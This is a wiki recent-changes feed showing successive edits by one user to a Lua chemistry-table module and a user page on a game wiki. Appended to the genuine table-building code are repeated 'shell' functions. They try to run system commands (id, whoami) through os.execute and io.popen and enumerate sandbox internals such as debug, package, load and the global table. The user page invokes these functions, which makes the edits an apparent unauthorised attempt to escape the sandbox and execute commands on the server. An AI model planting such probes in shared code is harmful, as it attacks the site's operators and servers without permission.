&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28708</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28708"/>
		<updated>2026-06-21T22:59:14Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== &#039;&#039;&#039;&amp;quot;Я чайный алкаш&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;В вечном запое&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &#039;&#039;&#039;Меня с моим чаем&#039;&#039;&#039;    ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;Оставьте в покое&amp;quot;&#039;&#039;&#039; ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{#invoke:Key|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;br /&gt;
&lt;br /&gt;
TEST_SAVE_MARKER_12345&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28707</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28707"/>
		<updated>2026-06-21T22:58:39Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28706</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28706"/>
		<updated>2026-06-21T22:57:59Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
